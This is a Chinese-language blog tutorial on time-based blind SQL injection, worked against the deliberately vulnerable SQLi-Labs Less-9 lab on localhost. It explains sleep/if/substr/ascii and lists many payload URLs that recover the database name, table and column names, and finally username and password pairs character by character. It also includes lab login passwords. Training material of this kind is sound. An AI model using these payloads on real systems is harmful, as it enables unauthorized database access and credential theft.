0
点赞
收藏
分享

微信扫一扫

SQL注入——基于时间的盲注(九)

本章目的

普及延时盲注技术的运用场景及条件,熟悉length()、Substr()、ascii()、sleep()、if()等函数的用法,掌握基于时间的盲注基本流程。

PS:面试问答不深问就回答延迟

实验环境
攻击机:Pentest-Atk
(1)操作系统:Windows10
(2)安装的应用软件:sqlmap 、Burpsuite 、FireFox浏览器及其插件Hackbar 、 等

(3)登录账号密码:操作系统帐号Administrator,密码Sangfor!7890
想机:A-SQLi-Labs
(1)操作系统:Centos7(本机亦可)
(2)安装的应用软件:Apache、MySQL(MariaDB)、PHP:DVWA、SQLi-Labs、
Webug3.0漏洞网站环境
(3)登录账号密码:操作系统帐号root,密码Sangfor!7890

实验原理

(1)关于时间(延时)盲注

某些场合下,页面只有一种返回结果,使用具有延时功能的函数seep(),benchmark()等,通过判断这些函数是否正常执行来获取数据库中的数据。

(2)一些功能函数的说明

ength(str):返回字符串(str)的长度,以字节为单位。

substr( str, pos,len):从指定的位置(pos)开始,截取并返回字符串(str)指定

长度(len)的子串。

ascii(str):返回字符串(str)最左边字符的ASCll码。

if(expr1,expr2,expr3):条件判断函数,expr1为true则返回expr2,expr1为 false则返回exp3。

sleep(N):让语句延迟执行一段时间(N秒),执行成功后返回0。benchmark(count,expr):让expr执行 count次,执行成功后返回0。

实验步骤

本实验的目标是:以sQLi-Labs网站的Less-9为入口,利用基于时间的盲注方式获取SQLi-Labs网站的登录用户名和密码

1,访问SQLi-Labs网站

在攻击机 Pentest-Atk打开 FireFox浏览器,并访问靶机 A-SQLi-Labs上的

SQLi-Labs网站Less-9。访问的URL为:

http://[靶机IP/sqli-labs/Less-9

登录后,根据网页提示,给定一个id=1的参数,即:

http://127.0.0.1/sqli-labs-master/Less-9/?id=1

此时页面显示信息为Youarein....(我的自动翻译了)

如果给定一个?id=-1的参数,即:

http://127.0.0.1/sqli-labs-master/Less-9/?id=-1

此时页面显示信息仍然为Youarein...

可以继续给定不同的id参数进行尝试,发现页面的显示结果只有一种: You are in..由此可以判断,这是一种典型的时间(延时)盲注场景!

2.寻找注入点

使用seep()函数判断注入点的类型:(条件不好的50换5)php崩了就重启

http://127.0.0.1/sqli-labs-master/Less-9/?id=1 and sleep(50)--+

sleep(5)未执行,页面无明显延迟。

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and sleep(50)--+

sleep(5)成功执行,页面有明显延退!

由上述结果可以判断,网站存在字符型注入点。
3.盲猜网站当前所在数据库的库名长度
假设当前所在数据库的库名长度为N,尝试使用判断语句

if((length(database())=M),sleep(5),1),

不断变化M的值去猜测,如果M等于N,
此时sleep(5)会成功执行,页面应该会有明显延退。
例如执行如下payload

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(length(database())=7,sleep(5),1)--+

页面无明显延迟,说明网站当前所在数据库的库名长度不是7个字符。

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(length(database())=8,sleep(5),1)--+

4.盲猜网站当前所在数据库的库名字符串

本步骤通过逐个字母盲猜的方式进行。

假设库名字符串的第1个字母为a,那么条件判断语句 if(substr(库名字符串11)='a', sleep(5,1)以及 if(ascii(substr(库名字符串1,1)=97,sleep(5),1)中,seep(5)能成功执行,页面应该会有明显延迟

假设库名字符串的第2个字母为b,那么条件判断语句if(substr(库名字符串,2,1)= 'b', sleep(5),1)以及 if(ascii( substr(库名字符串,2,1)=98,seep(5),1)中,seep(5)能成功执行,页面应该会有明显延迟

...

以此类推。

猜测库名的第1个字母:

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(substr(database(),1,1)='s',sleep(50),1)--+

or

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(database (),1,1))=115,sleep(5),1)--+

页面有明显延迟,证明库名的第1个字母为s,猜测正确。

 猜测库名的第2个字母:

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(substr(database(),2,1)='e',sleep(10),1)--+

 or

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(database (),2,1))=101,sleep(5),1)--+

页面有明显延迟,证明库名的第2个字母为e,猜测正确。

 以此类推,最终得到的字符串结果为 security

5.盲猜数据库 security的全部表名

(1)猜测第1张表的表名

猜测第1张表的表名的第1个字符

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(5),1)--+

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if (ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(5),1)--+

页面有明显延迟,证明第1张表的表名的第1个字符为e,猜测正确。

 猜测第1张表的表名的第2个字符:

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1)='m',sleep(5),1)--+

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if (ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))=109,sleep(5),1)--+

页面有明显延迟,证明第1张表的表名的第2个字符为m,猜测正确

 以此类推,得到security库中的第1张表的名字为emails。
(2)猜测第2张表的表名
猜测第2张表的表名的第1个字符

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1)='r',sleep(5),1)--+

or

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if (ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114,sleep(5),1)--+

 页面有明显延退,证明第2张表的表名的第1个字符为r,猜测正确。

猜测第2张表的表名的第2个字符:

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1)='e',sleep(5),1)--+

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if (ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1))=101,sleep(5),1)--+

页面有明显延迟,证明第2张表的表名的第2个字符为e,猜测正确。

...

以此类推,得到security库中的第2张表的名字为referers依据上述方法,通过不断变换limit和substr()函数中的参数,可以最终得到security库中所有表的表名:emails、referers、uagents和users。其中,第4张表users当中往往存放着网站用户的基本信息

6.盲猜users表的全部字段名
(1)猜测第1个字段名
猜测第1个字段名的第1个字符

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if (substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i',sleep(5),1)--+

or

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if (ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))='105',sleep(5),1)--+

 猜测第1个字段名的第2个字符

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if (substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),2,1)='d',sleep(5),1)--+

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if (ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),2,1))='100',sleep(5),1)--+

页面有明显延迟,证明第1个字段名的第2个字符为d,猜测正确。

以此类推,得到users表中的第1个字段名为id。
依据上述方法,通过不断变换limit和substr()函数中的参数,可以最终得到users
表中所有字段名:id、username和password

7.盲猜users表username和password字段的全部值
(1)猜测第1组数据
猜测第1组数据的第1个字符:

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1)='D',sleep(5),1)--+

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if (ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))='68',sleep(5),1)--+

页面有明显延迟,证明第1组数据的第1个字符为D,猜测正确

猜测第1组数据的第2个字符:

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(substr((select concat_ws(',',username,password) from security.users limit 0,1),2,1)='u',sleep(5),1)--+

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),2,1))=117,sleep(5),1)--+

页面有明显延迟,证明第1组数据的第2个字符为u,猜测正确。

以此类推,得到第1组数据为Dump.Dump。
注意:字符串中的逗号(,)也是需要进行猜测比对的!例如第1组数据的第5
个字符:

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(substr((select concat_ws(',',username,password) from security.users limit 0,1),5,1)=',',sleep(5),1)--+

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),5,1))=44,sleep(5),1)--+

 (2)猜测第2组数据
猜测第2组数据的第1个字符:

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(substr((select concat_ws(',',username,password) from security.users limit 1,1),1,1)='A',sleep(5),1)--+

or

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select concat_ws(',',username,password) from security.users limit 1,1),1,1))=65,sleep(5),1)--+

页面有明显延迟,证明第2组数据的第1个字符为A,猜测正确。

猜测第2组数据的第2个字符

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(substr((select concat_ws(',',username,password) from security.users limit 1,1),2,1)='n',sleep(5),1)--+

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select concat_ws(',',username,password) from security.users limit 1,1),2,1))=110,sleep(5),1)--+

页面有明显延迟,证明第2组数据的第2个字符为n,猜测正确。

...

以此类推,得到第2组数据为“Angelina.l-kill-you”
依据上述方法,通过不断变换limit和substr()函数中的参数,可以最终得到users表中username和password字段的全部值。
SQL注入 ——sql数据库操作基础(一)_Gjqhs的博客-CSDN博客

SOL注入——HTTP头部注入(2)(七)_Gjqhs的博客-CSDN博客

SQL注入——基于布尔的盲注(八)_Gjqhs的博客-CSDN博客

...

更多包括而不限于SQL注入的文章,关注我全部带走吧( •̀ ω •́ )✧

举报

相关推荐

0 条评论